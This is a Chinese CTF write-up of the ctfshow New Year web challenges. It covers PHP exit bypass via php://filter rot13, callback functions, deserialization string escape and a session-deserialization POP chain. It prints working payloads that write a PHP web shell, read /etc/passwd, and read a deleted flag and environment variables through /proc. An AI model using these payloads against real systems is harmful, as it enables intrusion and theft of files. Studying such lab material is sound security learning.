ctfshow _新春欢乐赛
写在前面:这样每天一道题目,深入学习一个知识点,对于语言的理解会更加清晰,也通过这几天的做题学到很多东西,这里总结下做题过程,下次遇到相同问题能够避免
热身
这个题开始做的很艰难,有两个地方不熟悉,一个eval的代码执行是一条语句,后面要加; 另一个是找flag,做题做得少,不知道怎么找
直接可以代码执行,从phpinfo里面找到flag的位置(自动包含的文件) 输出即可
web1 死亡exit的绕过
知识点:死亡exit的绕过(分为三种情况)
开始做这题,不知道这个点,没想出来,后面搜索关键字,找到p神一篇文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html,但是文章提到的案例跟这个有一些区别,博客里是传入两个参数,而这道题目是传入一个参数,试了很多,但是还是没做出来,后面看的wp,才明白这只是变成同时传参,这样就能写成功
构造读取flag的payload
?content=php://filter/write=string.rot13|<?cuc @riny("flfgrz('png /synt.gkg')");?>/resource=shell.php
访问shell.php
web2 session_id的使用
知识点:变量传递与覆盖(不知道对不对),session的利用
现在的我做这个题还是很懵的,感觉要灵光一现才能想出来,而不是做出来的,思路还不是很清楚
构造的payload
POST的数据
session_id=session_id
修改http头部信息
web3 弱比较 和 回调函数
知识点:弱比较 和 回调函数
这个题是唯一一个自己独立做出来的,做出来的过程也有些运气,在本地调试了很多次,可是都没有成功,想到昨天的那道题用到的函数,session_id,于是用试了session_start函数,没想到一下就试出来了,反过来一想,这个题确实很简单,函数能够返回bool值且为真即可,考的就是对于函数熟不熟悉
可以用的payload
?1=session_start
?1=error_reporting
?1=json_last_error
web4 spl_autoload_extensions函数
这个题全靠积累,那个函数我没见都没见过,翻手册也翻不到,但是学到一个知识点,这个题与上一个题一样,回调函数的参数要是一个无参函数,上一题的理解没有这么深刻
传入 1 = spl_autoload_extensions 生成 .inc,.php 文件(shell文件)
获取flag即可
web5 变量定义溢出
这个题的预期解法的知识点也是不知道的,算是学到了新的知识点,非预期的解法条件竞争现在也要去学,之后找个时间复现 官方wp:发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入
一个 hu 替换128 kB
准确计算: 256 * 1024 *1024 / 128 / 1024 = 2097152 个,用python生成下即可
发送过多服务器会报错o(╥﹏╥)o
用burp传进去,然后访问 /🐯 下载文件即可得到flag
web6 反序列逃逸
这个题可以说是个原题 ,参考【安洵杯 2019]easy_serialize_php】,而且我刚做不久,但是到了第二天才做出来,这里有两个原因,这个题目改了传参的部分,要传一个数组进去,由于我对传入数组的不熟悉导致第一步读文件迟迟没有做出来,第二个原因是找不到flag,这个很麻烦,问了之后才找到,也是刚入门对于各种配置不太熟悉
知识点:变量覆盖,file_get_contents函数可以读哪些文件,反序列化字符串逃逸
反序列化过程的逃逸过程分为替换后长度变长 与长度变短 ,构造过程还是需要花费一些时间,主要是凑
可以读nginx的配置文件如上图,nginx的相关信息如下
配置文件 /etc/nginx/nginx.conf
访问日志 /var/log/nginx/access.log
也可以读取本地文件http://127.0.0.1/ctfshow
web7 session反序列 构造pop链
这个题让我入门反序列化,学习到怎么去找pop链子,虽然这个题做不出来,但是还是能学到很多的东西,跟着官方的wp复现
session反序列化
php反序列化找pop链
源码如下
index.php
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
class.php
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";
}
function __destruct(){
$this->happy->happy;
}
public function __call($funName, $arguments){
die($this->happy->$funName);
}
public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";
}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}
public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;
}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}
}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";
}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}
}
?>
开始看到这个题,第一步反序列化知道是session方面的知识,但是还是不是很熟悉,相当于重新学习session反序列化这个知识点,这个地方属于没有$SESSION变量赋值的情况
记录 通过POST 方法来构造数据传入$_SESSION ,首先构造POST 提交表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
构造pop链,自己也尝试去构造
记录下错误的思路与原因
错误尝试用 Happy:_invoke => Year: _toString() => Year:show()
但是index.php会重新new 一个Happy,所以happy的值会被重置,无法调用Year类
<?php
class Happy {
public $happy;
}
class Year{
public $zodiac;
}
$a = new Happy();
$a->happy = new Year();
$a->happy->zodiac = "/etc/passwd";
echo serialize($a);
官方的思路,看着还是比较复杂(主要是人太菜)
Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()
payload:
<?php
class Happy {
public $happy;
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}
$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));
?>
将生成的序列化结果替换filename的值,同时在前面加上| , 双引号用\转义,可以看到能够读取文件信息
通过脚本找与flag相关的进程,用这个脚本找还有没成功 跟着wp复现,找到python起的那个进程,读取文件内容
from flask import *
import os
app = Flask(__name__)
flag=open('/flag','r')
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag我删了,你们别找了"
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
flag文件被删除了,但是还没有被释放,因此可以在/proc/self/fd下面找到,但是要有个能读文件的地方,/download/路由下面可以读文件,于是读取flag
http://127.0.0.1:5000/download/?file=/proc/self/fd/3
注:0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试
也可以读取环境变量
http://127.0.0.1:5000/download/?file=/proc/1/environ
|